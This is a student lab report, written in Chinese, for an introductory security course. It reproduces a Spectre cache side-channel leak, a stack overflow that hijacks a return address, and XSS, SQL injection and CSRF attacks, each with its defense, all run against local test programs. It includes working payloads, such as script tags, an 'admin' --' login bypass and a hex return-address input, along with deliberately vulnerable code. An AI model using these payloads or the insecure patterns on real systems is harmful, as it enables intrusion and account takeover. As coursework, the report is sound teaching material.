

# 《网络安全安全导论》实验报告

计04 何秉翔 2020010944

## 1. 简述

我们完成了如下实验：

章节	实验名称	难度
第 6 章	微处理器安全漏洞 Spectre	★★★
第 7 章	模拟栈溢出攻击	★★
第 13 章	常见 Web 漏洞演示	★★★

实验用到的源码以及相关的输入文件可在 [清华云盘](#) 获得

## 2. 微处理器安全漏洞：Spectre

### 2.1 实验背景

分支预测是一种 CPU 优化技术，使用分支预测的目的，在于改善指令流水线的流程。当分支指令发出之后，无相关优化技术的处理器，在未收到正确的反馈信息之前，不会做任何处理；而具有优化技术能力的 CPU 会在分支指令执行结束之前猜测指令结果，并提前运行预测的分支代码，以提高处理器指令流水线的性能。

如果预测正确则提高 CPU 运行速度，如果预测失败 CPU 则丢弃计算结果，并将寄存器恢复之前的状态。但是这样的性能优化技术是存在安全漏洞的，在预测失败的情况下 CPU 是不会恢复缓存状态的，因此可以利用分支预测技术读取敏感信息，并通过缓存侧信道泄露出来。微处理器架构侧信道严重损害内存的隔离性，泄露用户隐私信息。

### 2.2 实验目的

通过实现 Spectre 攻击样例，学习了解 CPU 性能优化技术（分支预测）带来的安全问题，进一步理解 CPU 的工作进程，加深对处理器硬件安全的认识。

### 2.3 实验环境

本实验的硬件环境为 Intel(R) Core(TM) i7-10510U CPU @ 1.80GHz 2.30 GHz，采用小端序，软件环境为 Ubuntu 20.04.5 LTS，g++ 版本为 g++ (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0，受害程序由 C 语言实现。

### 2.4 实验步骤

#### 2.4.1 实验变量准备

我们准备以下的实验变量：

- char\* secret：用于存放待窃取的秘密字符串 "Veni, vidi, vici"
- uint8\_t spy[16] = {1, 2, ..., 16}：用于越界读取 secret 数据，spy\_size = 16
- uint8\_t cache\_set[256 \* 512]：用于构建缓存驱逐集
- int result[256]：用于统计 cache hit 次数
- char \*output：用于存放实际窃取的字符串，与 secret 进行对比

### 2.4.2 构造分支预测漏洞

我们构造分支预测漏洞如下：

```
1 void victim_function(size_t x) {
2     if (x < spy_size) {
3         temp &= cache_set[spy[x] * 512];
4     }
5 }
```

当访问的 `x` 不超过 `spy_size` 时，即正常访问 `spy` 数组内的数据，这里由分支判断语句 `x < spy_size` 来控制，但是当 `x` 超过 `spy_size` 时，如果分支预测器预测该分支成功，此时不合法的数据 `spy[x]` 将被恶意访问，并在 CPU 缓存留下痕迹，即便 CPU 发现分支预测后也不会清理缓存痕迹，因此为真正窃取非法数据提供了可能。

### 2.4.3 字符串窃取

- 我们首先在主函数内初始化好 `malicious_x` 的起始值，此为秘密字符串的起始地址与 `spy` 数组的间隔，当以此为下标来访问 `spy` 时，实际上访问到的即为秘密字符串的首位。
- 然后提前对 `cache_set` 做写入，防止位于 Copy on Write 的页上。
- 然后对从 `malicious_x` 开始的每一个字符进行探测：
  1. 首先清空 `result` 数组，为统计 `cache hit` 做准备。
  2. 清空 `cache_set` 以及 `spy_size` 缓存状态。
  3. 用 `0 ~ 15` 的固定索引去访问 `spy` 数组 5 次，训练分支预测器进行“正确”分支，然后使用 `malicious_x` 去访问 `spy` 数组 1 次，此时分支预测器会认为应当延续之前 5 次的“正确”分支，将 `spy[malicious_x]` 里的值放入缓存。
  4. 重复 10 次步骤 3，保证步骤 3 顺利读取敏感数据。
  5. 遍历读取 `cache_set`，但读取下标为随机读取，而不是按顺序读取，防止 CPU 提前按序预取内容到缓存里。测量读取时间，并计算读取时间小于阈值的次数，此时即为缓存命中的次数，更新 `result`。
  6. 重复 1000 次步骤 2 ~ 5，`x` 从 `0 ~ 15` 循环使用，然后找到 `result` 数组里最大的值对应的下标，此即说明缓存命中次数最多的下标，说明这个下标即为敏感数据，此时需要保证考虑的下标范围为 `[32, 126]`，这个范围内的 `ascii` 字符才是我们需要的。

### 2.4.4 攻击结果

```
● project2 ➤ ./victim
>>> Getting secret char -- 'V'
>>> Getting secret char -- 'e'
>>> Getting secret char -- 'n'
>>> Getting secret char -- 'i'
>>> Getting secret char -- ','
>>> Getting secret char -- ' '
>>> Getting secret char -- 'v'
>>> Getting secret char -- 'i'
>>> Getting secret char -- 'd'
>>> Getting secret char -- 'i'
>>> Getting secret char -- ','
>>> Getting secret char -- ' '
>>> Getting secret char -- 'v'
>>> Getting secret char -- 'i'
>>> Getting secret char -- 'c'
>>> Getting secret char -- 'i'
Getting the whole string: "Veni, vidi, vici"
The true whole string:  "Veni, vidi, vici"
```

从输出中看出，我们所窃取的秘密字符串与实际的秘密字符串一致，说明攻击成功。

## 2.5 复现影响因素

我们在复现 Spectre 论文的 Section IV 时，注意到以下因素会影响实验的成功复现：

1. 预先写入 `cache_set`，保证这部分位于一个特定的物理内存页上，如果位于 COW 的页面上，由于计时行为可能不同，导致干扰攻击。

2. 分支预测：我们注意到论文的源码里，访问 5 次正常 `x` 后接着访问一次恶意的 `x` 通过较为繁琐的位运算实现，当尝试使用分支判断实现时，窃取的字符串与真实的字符串并不完全一致，导致出现了错误的情况。因此我们需要避免在循环访问 `spy` 时应该禁止可能的分支，于是我们提前将接下来对 `spy` 访问时依次需要使用的 `x` 值给设置好：

```
1 | if (j % 6 == 0) {
2 |     x_array[j] = malicious_x;
3 | } else {
4 |     x_array[j] = in_bound_x;
5 | }
```

之后直接以 `x_array[j]` 作为 `victim_function` 的输入即可。

3. 攻击前延迟：我们需要在真正调用 `victim_function` 之前进行一段时间的延迟，以等待探测的敏感数据被加载到缓存内。
4. 随机访问 `cache_set`：我们注意到在测访问时间时，对 `cache_set` 的访问要随机访问，而不能按序访问，若按序访问，则可能使得 CPU 将对应位置附近的内容预取到缓存内，导致 `cache hit` 计数出现偏差。

## 3. 模拟栈溢出攻击

### 3.1 实验背景

栈区溢出攻击，是最常见的缓冲区溢出攻击方式，是多种攻击的基础。攻击者构造恶意的程序输入覆盖栈当中的返回地址，不正当触发函数执行，达到修改进程行为的目的。

### 3.2 实验目的

本实验模拟一次朴素的栈区溢出攻击，核心在于掌握“如何构造覆盖栈帧的恶意输入”。具体而言，我们将覆盖**受害函数**的返回地址，劫持程序的控制流，让程序返回到攻击者指定的函数，即**目标函数**，而不是正常返回。

### 3.3 实验环境

本实验的硬件环境为 Intel(R) Core(TM) i7-10510U CPU @ 1.80GHz 2.30 GHz，采用**小端序**，软件环境为 Ubuntu 20.04.5 LTS，gcc 版本为 version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)，受害程序由 C 语言实现。

### 3.4 实验步骤

#### 3.4.1 C 语言受害程序

我们编写攻击者的**目标函数** `target()`，即需要被恶意返回到的函数如下：

```
1 | void target() {
2 |     printf("Successful attack!\n");
3 |     exit(0);
4 | }
```

然后编写**受害函数** `getbuf()`，其中包括不安全的输入语句 `gets()`，该函数的返回地址将被我们恶意构造的输入所覆盖。

```
1 | void getbuf() {
2 |     char buf[12];
3 |     gets(buf);
4 | }
```

`main` 函数如下：

```

1  int main() {
2      getbuf();
3      printf("Attack failed!\n");
4      return 0;
5  }

```

若受害函数 `getbuf()` 正确返回 `main` 函数，则攻击失败；若返回到目标函数 `target()`，则攻击成功。

### 3.4.2 编译受害程序

我们需要关闭一系列内存防御方案，包括 `ASLR` 和 `Stack Canary`，在这个条件下编译受害程序 `victim.c`，我们的 `Makefile` 如下：

```

1  victim: victim.c
2      gcc -Og -fno-stack-protector -no-pie victim.c -o victim

```

其中：

- `-Og`：一定程度上优化受害程序，减少对应的汇编指令，方便进行攻击。
- `-fno-stack-protector`：关闭 `Stack Canary`，该选项禁用了栈保护机制。
- `-no-pie`：关闭 `ASLR`，该选项禁用了 `Position Independent Executable (PIE)` 模式

我们以这些选项来对受害函数编译生成可执行程序 `victim`，由于我们的实验只针对覆盖返回地址，不进行栈上的代码注入，因此无需开启栈上的可执行权限 `-z execstack`。

### 3.4.3 观察目标函数地址

接着为了构造合适的非法输入，我们需要观察目标函数 `target()` 的返回地址，以及受害函数 `getbuf()` 的栈帧情况。为此，我们利用 `objdump` 对受害程序进行反汇编，得到 `getbuf()` 函数的反汇编结果如下：

```

132  000000000401176 <getbuf>:
133  401176: f3 0f 1e fa .....endbr64
134  40117a: 48 83 ec 18 .....sub    $0x18,%rsp
135  40117e: 48 8d 7c 24 04 .....lea    0x4(%rsp),%rdi
136  401183: b8 00 00 00 00 .....mov    $0x0,%eax
137  401188: e8 e3 fe ff ff .....callq   401070 <gets@plt>
138  40118d: 48 83 c4 18 .....add    $0x18,%rsp
139  401191: c3 .....retq

```

可以看到，在刚压入 `getbuf()` 的正常返回地址后，栈指针 `sp` 下移了 24 字节，然后将 `sp + 4` 的栈上地址赋值给 `%rdi`，然后调用不安全输入函数 `gets()`，此时用户输入的内容将被放在从 `sp + 4` 开始的栈空间，此时距离返回地址还有 20 字节，因此我们构造输入时前 20 个字节可以放置任意内容，只需后面覆盖返回地址即可。接下来我们看到目标函数 `target()` 的反汇编结果：

```

140
141  000000000401192 <target>:
142  401192: f3 0f 1e fa .....endbr64
143  401196: 50 .....push   %rax
144  401197: 58 .....pop    %rax
145  401198: 48 83 ec 08 .....sub    $0x8,%rsp
146  40119c: 48 8d 3d 61 0e 00 00 .....lea    0xe61(%rip),%rdi .....# 402004 <_IO_stdin_used+0x4>
147  4011a3: e8 b8 fe ff ff .....callq   401060 <puts@plt>
148  4011a8: bf 00 00 00 00 .....mov    $0x0,%edi
149  4011ad: e8 ce fe ff ff .....callq   401080 <exit@plt>
150

```

观察到其起始地址为 `0x00401192`。

### 3.4.4 构造非法输入

有了目标函数地址后，考虑到实验机器为小端序，因此我们构造恶意输入 `eval.txt` 如下：

```

1 00 00 00 00 00 00 00 00 /* 填充字节 */
2 00 00 00 00 00 00 00 00 /* 填充字节 */
3 00 00 00 00             /* 填充字节 */
4 92 11 40 00             /* 返回地址 */

```

然后将其转化为二进制 01 串 raw.txt 作为受害程序的输入，使用工具为 CMU 15-213 Attacklab 的 hextoraw 程序，也一并放置在源代码中。

### 3.4.5 攻击结果

为了比较，我们构造一个随机输入 random.txt 如下：

```
1 fdafdafdafadf
```

实验结果如下：

```

• project1 > ./victim < raw.txt
  Successful attack!
• project1 > ./victim < random.txt
  Attack failed!
○ project1 >

```

我们也可以采用 gdb 来观察程序的行为：

```

(gdb) break getbuf
Breakpoint 1 at 0x401176
(gdb) run < raw.txt
Starting program: /mnt/d/THUstudy/study/2022-2023spring/网安导/prj/project1/victim < raw.txt

Breakpoint 1, 0x00000000401176 in getbuf ()
(gdb) n
Single stepping until exit from function getbuf,
which has no line number information.
0x00000000401192 in target ()
(gdb)

```

发现程序的确跑到了 0x00401192 处的目标函数 target() 里。

## 4. 常见 Web 漏洞演示

### 4.1 实验环境

### 4.2 实验目的

### 4.3 实验步骤

#### 4.3.1 XSS 攻击及防御

XSS 的攻击包括两种，一种是反射型 XSS，也被称为非持久型 XSS，只会攻击一次，不会保存在数据库中；另一种是存储型 XSS，也被称为持久型 XSS，可执行代码将永久保存在服务器中，每次网站被打开时都会执行相应逻辑。实验提供的框架已经能够成功进行这两种 XSS 攻击，然后我们将通过转义字符的方法进行 XSS 防御，下面演示如下：

##### 1. 非持久型 XSS：

我们只需在“搜索内容”输入框输入 `<script>alert('非持久型')</script>`，然后点击“提交”，即可实现非持久型 XSS 攻击。具体而言，输入的 js 代码被前端当成搜索内容渲染到了前端并执行。

由于未保存到数据库，因此仅执行这一次，重新刷新网页后注入的代码已消失：

127.0.0.1:5000 says  
非持久型

OK

## 2. 持久型 XSS :

我们只需在"评论"输入框输入 `<script>alert('持久型')</script>` , 然后点击"提交", 即可实现持久型 XSS 攻击。具体而言, 此时输入的 js 代码通过后端 `add_comment` 保存到数据库里, 在每一次打开网页时, 后端将数据库里保存的评论都交给前端渲染, 因此每一次打开网页都将执行一遍注入的代码:

127.0.0.1:5000 says  
持久型

OK

## 3. 通过转义字符进行 XSS 防御:

对于用户输入的字符串, 我们需要判断其中有无执行代码的成分, 比如对于 `<script>` 标签等 js 代码, 因此我们考虑对 `<`、`'`、`\` 等字符进行转义, 因此我们考虑对用户可能的两部分输入, "搜索内容"以及"评论"进行转义, 再对转义后的结果进行处理。为此, 我们使用 `html` 库的 `escape()` 方法实现如下:

```
1 import html
2
3 defend = True # 开启防御
4
5 if request.method == 'POST':
6     # 对 comment 进行转义
7     comment = html.escape(request.form['comment']) if defend else request.form['comment']
8     add_comment(comment)
9
10 search_query = request.args.get('q')
11 # 在 search_query 非 None 时进行转义
12 search_query = html.escape(search_query) if search_query != None and defend else search_query
13 comments = get_comments(search_query)
```

此时再尝试持久型 XSS 攻击, 结果如下:

## Web安全实验

你可以查询并且发布评论

所有的评论如下:

`<script>alert('持久型')</script>`

再尝试非持久型 XSS 攻击, 结果如下:

## Web安全实验

你可以查询并且发布评论

包含 "`<script>alert('非持久型')</script>`" 评论如下:

### 4.3.2 SQL 攻击及防御

首先，我们新增登录功能如下：

- 数据库新增 `users` 数据表：

```
1 db.cursor().execute('CREATE TABLE IF NOT EXISTS users '
2                       '(id INTEGER PRIMARY KEY, '
3                       'username TEXT, '
4                       'password TEXT)')
```

- 后端新增注册处理接口：

```
1 # 注册
2 @app.route('/register', methods=['POST'])
3 def register():
4     username = request.form['username']
5     password = request.form['password']
6
7     db = connect_db()
8     db.cursor().execute('INSERT INTO users (username, password) '
9                       'VALUES (?, ?)', (username, password))
10    db.commit()
11    return redirect('/')
```

- 后端新增登录处理接口 `/login`，我们通过请求给出的 `username` 和 `password` 来构造数据库查询语句，并执行。

```
1 def login():
2     ...
3     if defend: # 如果开启防御
4         query = 'SELECT * FROM users WHERE username = ? AND password = ?'
5         params = (username, password)
6         cursor.execute(query, params)
7     else: # 未开启防御
8         query = 'SELECT * FROM users WHERE username = \'' + str(username) + '\' AND password
9 = \'' + str(password) + '\''
10        cursor.execute(query)
11
12    user_info = cursor.fetchall()
13    login_status = True if len(user_info) > 0 else False
14    ...
```

具体而言，从 `users` 数据表里选出所有的用户名和密码都与请求所匹配的记录，如果存在这个记录，则登录成功。

- 前端新增登录和注册表单：

The image shows a web interface with a '已登录' (Already logged in) status at the top left. Below it are two forms: '账号登录' (Account Login) and '注册' (Registration). The '账号登录' form has fields for 'Username:' (with a placeholder '用户名') and 'Password:' (with a placeholder '密码'), and a '登录' (Login) button. The '注册' form has fields for 'Username:' (with a placeholder '用户名') and 'Password:' (with a placeholder '密码'), and a '注册' (Register) button. Red arrows point from the '已登录' text to the '登录状态' (Login Status) label, and from the '账号登录' form to the '登录表单' (Login Form) label. Another red arrow points from the '注册' form to the '注册表单' (Registration Form) label.

正常操作过程如下：

1. 在注册表单输入用户名和密码，点击"注册"提交

2. 在账号登录表单输入已注册的用户名和密码，点击"登录"提交，登录成功则登录状态变为"已登录"，否则为"未登录"，并显示尝试登录的用户名。
3. 若想退出登录状态，则点击"退出登录"按钮即可，登录状态更新为"未登录"

### SQL 注入攻击：

首先我们注册一个账户如下，用户名为 `admin`，密码为 `abc`：

```
sqlite> select * from users;  
1|admin|abc  
sqlite>
```

然后我们使用用户名 `admin' --` 来登录，目标是输入任何密码我们都能成功登录 `admin` 的账号，此时 `SQL` 注入导致整个数据库的 `username = admin` 的记录全部被筛选出来，忽视 `password` 字段，因此被无任何校验的后端判为登录成功。

### SQL 注入防御：

我们采取以下方法进行防御：所有的查询语句使用数据库提供的参数化查询接口，参数化的语句使用参数，而不是将用户输入变量嵌入到 `SQL` 语句中，即不要直接拼接 `SQL` 语句，为此，我们重写 `login` 的后端处理函数，其中更改的关键部分为：

```
1 query = 'SELECT * FROM users WHERE username = ? AND password = ?'  
2 params = (username, password)  
3 cursor.execute(query, params)
```

在定义查询语句时，我们使用占位符 `?` 表示参数，而不是将用户输入变量嵌入到 `SQL` 语句中。然后，我们定义查询参数 `params`，并将其传递给 `execute()` 方法，以执行查询。最后，我们使用 `fetchall()` 方法获取查询结果，并对结果进行处理。这种方式可以有效地防范 `SQL` 注入攻击。

此时我们再用 `admin' --` 来登录，发现登录失败：

未登录，用户名： `admin' --`

退出登录

### 账号登录

Username:

用户名

Password:

密码

登录

### 注册

Username:

用户名

Password:

密码

注册

### 4.3.3 CSRF 攻击及防御

首先我们先添加关于转账的功能，在后端里我们添加 `/csrf` 的接口，用于进行转账，关键代码部分如下：



```

1  # csrf attack: 转账
2  @app.route('/csrf', methods=['POST'])
3  def csrf():
4      account = request.form['account']
5      amount = request.form['amount']
6      username = request.cookies.get('username')
7
8      result_str = ''
9      if username is None or username == '':
10         result_str = '未登录, 转账失败!'
11     else:
12         result_str = '已登录, 成功向 %s 转账 %s 元!' % (account, amount)
13     ...

```

具体而言, 我们通过 `cookie` 来获得用户的登录状态, 若未登录, 则转账失败, 否则成功转账。

正常情况下, 未登录时, 转账效果如下:

未登录, 用户名:

退出登录

账号登录

Username:  
用户名  
Password:  
密码

登录

注册

Username:  
用户名  
Password:  
密码

注册

收款人  
金额

转账

转账结果: 未登录, 转账失败!

登录状态

转账表单

转账结果

已登录时, 转账效果如下:

已登录, 用户名: a

退出登录

账号登录

Username:  
用户名  
Password:  
密码

登录

注册

Username:  
用户名  
Password:  
密码

注册

收款人  
金额

转账

转账结果: 已登录, 成功向 Alice 转账 300 元!

我们接下来在 `/login` 的接口内将 `cookie` 信息存好, 为之后转账判断是否登录做准备:

```

1  if login_status:
2      if defend:
3          response.set_cookie('username', username, samesite='Strict', secure=True)
4      else:
5          response.set_cookie('username', username)
6  else:
7      if defend:
8          response.set_cookie('username', '', expires=0, samesite='Strict', secure=True)
9      else:
10         response.set_cookie('username', '', expires=0)

```

根据是否开启防御模式，我们设置 `cookie` 的 `samesite` 属性，以防止 `CSRF` 攻击。接下来我们构造一个恶意网站 `eval.html`，其主要 `<body>` 下代码如下，目标是向 `attacker` 转账 10 元：

```

1  <body onload="document.getElementById('csrf').submit();">
2      <form id="csrf" action="http://127.0.0.1:5000/csrf" method="POST">
3          <input type="hidden" name="account" value="attacker"/>
4          <input type="hidden" name="amount" value="10"/>
5      </form>
6  </body>

```

该恶意网页由 `app_eval.py` 及 `eval.html` 来部署在 `127.0.0.1:5001`，来模拟跨站访问，虽然仍是同站，但在后面我们将模拟跨站访问。

当用户不小心跳转到该网页时，会自动向 `http://127.0.0.1:5000/csrf` 提交一个转账的表单。为此我们在原来的页面 `index.html` 内新增一个诱引用户点击的按钮：

```

1  <form action="http://127.0.0.1:5001" onclick="removeCookie()" method="POST">
2      <input type="submit" value="点我，有🔒" />
3  </form>

```

该按钮点击后将请求发至 `http://127.0.0.1:5001`，然后自动向 `http://127.0.0.1:5000/csrf` 提交一个转账的表单，如果在用户未登录时点击“点我，有🔒”按钮，则转账失败：

但是如果用户已经登录，则请求将携带着用户的 `cookie`，骗过 `/csrf` 转账的后端处理，导致意外转账的发生：

已登录, 用户名: a

退出登录

### 账号登录

Username:

用户名

Password:

密码

登录

### 注册

Username:

用户名

Password:

密码

注册

收款人

金额

转账

转账结果: 已登录, 成功向 attacker 转账 10 元!

点我, 有👁

下面我们来展示如何进行防御, 一般做法是给 cookie 加上 `samesite='Strict'` or `samesite='Lax'` 属性, 但是我们部署的两个服务, 一个是正常的 `127.0.0.1:5000`, 另一个则是攻击者的"跨站"网站 `127.0.0.1:5001`, 我们模拟跨站请求如下:

```
1 <form action="http://127.0.0.1:5001" onclick="removeCookie()" method="POST">
2   <input type="submit" value="点我, 有👁" />
3 </form>
4
5 <script>
6   function removeCookie() {
7     var defend = '{{ defend }}';
8     if(defend === "True") {
9       document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";
10    }
11  }
12 </script>
```

当用户点击诱引按钮后, 我们根据是否开启防御模式来进行 cookie 的设置, 如果开启了防御模式, 则将 cookie 设置为过期状态, 相当于模拟跨站请求中的 cookie 被 `samesite` 设置下的浏览器所拦截; 如果没开启防御模式, 则正常携带 cookie 发送。如果开启了防御模式, 则未登录状态下仍然无法转账, 即使用户已经登录, 在开启了防御机制下, 也无法进行转账:

转账

转账结果: 未登录, 转账失败!

点我, 有👁